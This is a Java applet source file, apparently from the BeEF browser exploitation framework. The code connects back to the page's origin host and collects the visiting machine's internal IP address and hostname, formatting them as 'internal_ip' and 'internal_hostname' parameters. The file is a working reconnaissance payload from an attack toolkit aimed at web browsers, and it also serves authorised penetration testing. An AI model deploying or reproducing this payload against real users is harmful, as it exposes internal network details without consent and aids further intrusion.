git-svn-id: https://beef.googlecode.com/svn/trunk@1292 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
49 lines
934 B
Java
49 lines
934 B
Java
import java.applet.*;
|
|
import java.net.*;
|
|
import java.util.*;
|
|
|
|
public class Beeffeine extends Applet {
|
|
|
|
public String MyIP()
|
|
{
|
|
String string = "unknown";
|
|
String string4 = getDocumentBase().getHost();
|
|
byte j = 80;
|
|
String string2;
|
|
String string3 = "internal_ip=";
|
|
int k = 80;
|
|
if (getDocumentBase().getPort() != -1)
|
|
k = getDocumentBase().getPort();
|
|
|
|
try {
|
|
string2 = new Socket(string4 , k).getLocalAddress().getHostAddress();
|
|
if (!string2.equals("255.255.255.255"))
|
|
string3 += string2;
|
|
|
|
}
|
|
catch (SecurityException securityexception) {
|
|
string3 += "FORBIDDEN";
|
|
}
|
|
catch (Exception exception) {
|
|
string3 += "exception";
|
|
}
|
|
|
|
string3 += "&internal_hostname=";
|
|
|
|
try {
|
|
string3 += new Socket(string4 , k).getLocalAddress().getHostName();
|
|
}
|
|
catch (Exception exception) {
|
|
string3 += "Cannot Lookup this IP";
|
|
}
|
|
|
|
return (string3);
|
|
}
|
|
|
|
public Beeffeine() {
|
|
super();
|
|
return;
|
|
}
|
|
|
|
}
|